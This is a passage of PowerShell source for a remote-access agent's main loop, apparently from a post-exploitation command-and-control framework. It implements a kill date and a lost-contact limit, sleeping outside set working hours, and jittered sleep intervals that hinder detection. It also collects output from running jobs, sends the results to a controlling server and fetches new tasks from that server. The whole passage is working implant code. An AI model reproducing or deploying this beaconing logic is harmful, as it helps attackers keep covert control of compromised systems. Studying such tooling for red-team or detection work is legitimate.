        # check the kill date and lost limit, exiting and returning job output if either are past
        if ( (($script:KillDate) -and ((Get-Date) -gt $script:KillDate)) -or ((!($script:LostLimit -eq 0)) -and ($script:MissedCheckins -gt $script:LostLimit)) ) {

            $Packets = $null

            # get any job results and kill the jobs
            ForEach($JobName in $Script:Jobs.Keys) {
                $Results = Stop-AgentJob -JobName $JobName | fl | Out-String
                $JobResultID = $script:ResultIDs[$JobName]
                $Packets += $(Encode-Packet -type 110 -data $($Results) -ResultID $JobResultID)
                $script:ResultIDs.Remove($JobName)
            }

            # send job results back if there are any
            if ($Packets) {
                (& $SendMessage -Packets $Packets)
            }

            # send an exit status message and exit
            if (($script:KillDate) -and ((Get-Date) -gt $script:KillDate)) {
                $msg = "[!] Agent "+$script:SessionID+" exiting: past killdate"
            }
            else {
                $msg = "[!] Agent "+$script:SessionID+" exiting: Lost limit reached"
            }
            (& $SendMessage -Packets $(Encode-Packet -type 2 -data $msg))
            exit
        }

        # if there are working hours set, make sure we're operating within the given time span
        #   format is "8:00-17:00"
        if ($script:WorkingHours -match '^[0-9]{1,2}:[0-5][0-9]-[0-9]{1,2}:[0-5][0-9]$') {

            $current = Get-Date
            $start = Get-Date ($script:WorkingHours.split("-")[0])
            $end = Get-Date ($script:WorkingHours.split("-")[1])

            # correct for hours that span overnight
            if (($end-$start).hours -lt 0) {
                $start = $start.AddDays(-1)
            }

            # if the current time is past the start time
            $startCheck = $current -ge $start

            # if the current time is less than the end time
            $endCheck = $current -le $end

            # if the current time falls outside the window
            if ((-not $startCheck) -or (-not $endCheck)) {

                # sleep until the operational window starts again
                $sleepSeconds = ($start - $current).TotalSeconds

                if($sleepSeconds -lt 0) {
                    # correct for hours that span overnight
                    $sleepSeconds = ($start.addDays(1) - $current).TotalSeconds
                }
                # sleep until the wake up interval
                Start-Sleep -Seconds $sleepSeconds
            }
        }

        # if there's a delay (i.e. no interactive/delay 0) then sleep for the specified time
        if ($script:AgentDelay -ne 0) {
            $SleepMin = [int]((1-$script:AgentJitter)*$script:AgentDelay)
            $SleepMax = [int]((1+$script:AgentJitter)*$script:AgentDelay)

            if ($SleepMin -eq $SleepMax) {
                $SleepTime = $SleepMin
            }
            else{
                $SleepTime = Get-Random -Minimum $SleepMin -Maximum $SleepMax
            }
            Start-Sleep -Seconds $sleepTime;
        }

        # poll running jobs, receive any data, and remove any completed jobs
        $JobResults = $Null
        ForEach($JobName in $Script:Jobs.Keys) {
            $JobResultID = $script:ResultIDs[$JobName]
            # check if the job is still running
            if(Get-AgentJobCompleted -JobName $JobName) {
                # the job has stopped, so receive results/cleanup
                $Results = Stop-AgentJob -JobName $JobName | fl | Out-String
            }
            else {
                $Results = Receive-AgentJob -JobName $JobName | fl | Out-String
            }

            if($Results) {
                $JobResults += $(Encode-Packet -type 110 -data $($Results) -ResultID $JobResultID)
            }
        }

        if ($JobResults) {
            ((& $SendMessage -Packets $JobResults))
        }

        # get the next task from the server
        $TaskData = (& $GetTask)
        if ($TaskData) {
            $script:MissedCheckins = 0
            # did we get not get the default response
            if ([System.Text.Encoding]::UTF8.GetString($TaskData) -ne $script:DefaultResponse) {
                Decode-RoutingPacket -PacketData $TaskData
            }
        }

        # force garbage collection to clean up :)
        [GC]::Collect()
    }
}
